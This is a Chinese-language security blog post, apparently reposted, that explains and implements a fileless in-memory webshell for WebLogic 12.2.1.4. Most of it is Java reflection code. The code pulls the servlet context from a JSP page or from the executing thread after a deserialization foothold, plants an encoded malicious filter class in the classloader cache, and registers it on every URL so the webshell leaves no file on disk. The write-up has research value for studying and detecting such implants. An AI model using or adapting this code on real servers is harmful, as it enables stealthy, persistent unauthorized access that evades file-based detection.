zoukankan      html  css  js  c++  java
  • weblogic 无文件webshell的技术研究

    上篇文章中着重研究了tomcat的内存马以及实现方法。这篇文章主要研究了weblogic的内存马实现原理。在这里实现的原理与tomcat基本相同,同样使用动态注册Filter 的方式。下面分析一下weblogic在请求中是如何获取FilterChain。

    以下分析基于 weblogic 12.2.1.4

    0x01 weblogic FilterChain实现

    创建一个Filter,随便打一个断点,观察此时的堆栈信息,如图

    通过跟踪堆栈信息,我们可以找到,在wrapRun函数中,会判断系统中是否存在filter以及listener。如果存在,则获取FilterChain,然后依次调用Filter。原理与tomcat类似。相关代码如下

    weblogic.servlet.internal.WebAppServletContext.ServletInvocationAction#wrapRun 函数
    
    if (!invocationContext.hasFilters() && !invocationContext.hasRequestListeners()) {
        this.stub.execute(this.req, this.rsp);
    } else {
        FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp);
        if (fc == null) {
            this.stub.execute(this.req, this.rsp);
        } else {
            fc.doFilter(this.req, this.rsp);
        }
    }
    

    而getFilterChain的代码在 weblogic.servlet.internal.FilterManager中。weblogic中主要使用FilterManager去管理系统中的Filter,包括动态注册一个Filter,获取FilterChain等。动态注册一个Filter的代码如下

        void registerFilter(String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers) throws DeploymentException {
            FilterWrapper fw = new FilterWrapper(filterName, filterClassName, initParams, this.context);
            if (this.loadFilter(fw)) {
                EnumSet<DispatcherType> types = FilterManager.FilterInfo.translateDispatcherType(dispatchers, this.context, filterName);
                if (urlPatterns != null) {
                    this.addMappingForUrlPatterns(filterName, types, true, urlPatterns);
                }
    
                if (servletNames != null) {
                    this.addMappingForServletNames(filterName, types, true, servletNames);
                }
    
                this.filters.put(filterName, fw);
            }
        }
    

    0x02 内存马实现

    技术难点主要有以下几点:

    1. 怎么寻找FilterManager
    2. weblogic中类加载器机制

    1. 寻找FilterManager

    weblogic中,context会存放FilterManager。所以,这个问题转换为如何获取context。有两种方法

    pageContext

    jsp页面中的pageContext对象中,存有context对象。可以通过反射获取。这种比较适合直接上传jsp文件获取webshell权限的情况。代码如下

            Field contextF = pageContext.getClass().getDeclaredField("context");
            contextF.setAccessible(true);
            Object context = contextF.get(pageContext);
    
    

    线程中

    这种情况比较适合shiro,T3等反序列化漏洞,在无法上传文件,但是可以直接通过反序列化获取weblogic权限的情况。这种情况下不需要pageContext对象,在线程中查找context对象。代码如下

            Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
            Method m = executeThread.getDeclaredMethod("getCurrentWork");
            Object currentWork = m.invoke(Thread.currentThread());
    
            Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
            connectionHandlerF.setAccessible(true);
            Object obj = connectionHandlerF.get(currentWork);
    
            Field requestF = obj.getClass().getDeclaredField("request");
            requestF.setAccessible(true);
            obj = requestF.get(obj);
    
            Field contextF = obj.getClass().getDeclaredField("context");
            contextF.setAccessible(true);
            Object context = contextF.get(obj);
    

    2. FilterWrapper中类加载器机制

    这里只针对于加载Filter的情况去讨论。在FilterManager的registerFilter方法中,主要通过FilterWrapper类去包装Filter类。但是FilterWrapper类的构造函数中,并没有可以传递Class的参数,只可以传递ClassName,FilterManager通过ClassName去查找Class。下面我们分析一下实现过程

    在FilterManager的loadFilter中,Filter将会在这里实例化。代码如下

    
    weblogic.servlet.internal.FilterManager#loadFilter
    boolean loadFilter(FilterWrapper filterWrapper) {
            String filterClassName = filterWrapper.getFilterClassName();
            filter = (Filter)this.context.createInstance(filterClassName);
            filterWrapper.setFilter((String)null, (Class)null, filter, false);
            }
    

    在filterWrapper.getFilterClassName中获取FilterClass的名称,然后通过context的createInstance方法去实例化。下面是createInstance的代码

    Object createInstance(String className) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
        Class<?> clazz = this.classLoader.loadClass(className);
        return this.createInstance(clazz);
    }
    

    在这里通过调用classloader的loadClass方法去根据名称查找Class。我们知道weblogic自定义了一个classloader,所以我们继续深入loadCLass方法,代码如下

    weblogic.utils.classloaders.ChangeAwareClassLoader#loadClass(java.lang.String, boolean)
    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
        synchronized(this.getClassLoadingLock(name)) {
            Class res = (Class)this.cachedClasses.get(name);
            if (res != null) {
                return res;
            } else if (!this.childFirst) {
                return super.loadClass(name, resolve);
    

    我们可以看出,ChangeAwareClassLoader会首先从cache中查找是否存在待查找的类,如果存在,则直接返回该名称对应的Class。

    所以我们为了使自己待动态加载的Filter可以被FilterManager成功查找,最简单的方法是在这个缓存中动手脚。代码如下

        /*
        第一步,将evilClass加载到classloader的cachedClasses中
         */
            Field classLoaderF = context.getClass().getDeclaredField("classLoader");
            classLoaderF.setAccessible(true);
            ClassLoader cl = (ClassLoader) classLoaderF.get(context);
    
            Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
            cachedClassesF.setAccessible(true);
            Object cachedClass = cachedClassesF.get(cl);
    
            Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
            if (getM.invoke(cachedClass, "bingxie") == null) {
                // 判断一下,防止多次加载恶意filter, 默认只加载一次,不需要重复加载
                BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
                String codeClass = "H4sIAAAAAAAAAKV..........";
                Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                defineClass.setAccessible(true);
                Class evilFilterClass = (Class) defineClass.invoke(cl, uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);
    
                // 在这里 恶意类名称为 bingxie  filter 名称为test
                Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
                putM.invoke(cachedClass, "bingxie", evilFilterClass);
    

    上面两个技术难点解决后,我们就可以向FilterManager中动态注册一个Filter。代码比较简单,如下

    Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
                Object filterManager = getFilterManagerM.invoke(context);
    
                Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
                // String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers
                registerFilterM.setAccessible(true);
                registerFilterM.invoke(filterManager, "test", "bingxie", new String[]{"/*"}, null, null, null);
    

    0x03 成果检验

    检查weblogic,无文件落地。重启weblogic后,webshell消失

  • 相关阅读:
    JSONP
    函数式编程
    Cookie
    IE userData
    Web Storage
    前端学PHP之会话Session
    数据结构之归并排序
    数据结构之冒泡排序
    数据结构之插入排序
    数据结构之选择排序
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/13162792.html
Copyright © 2011-2022 走看看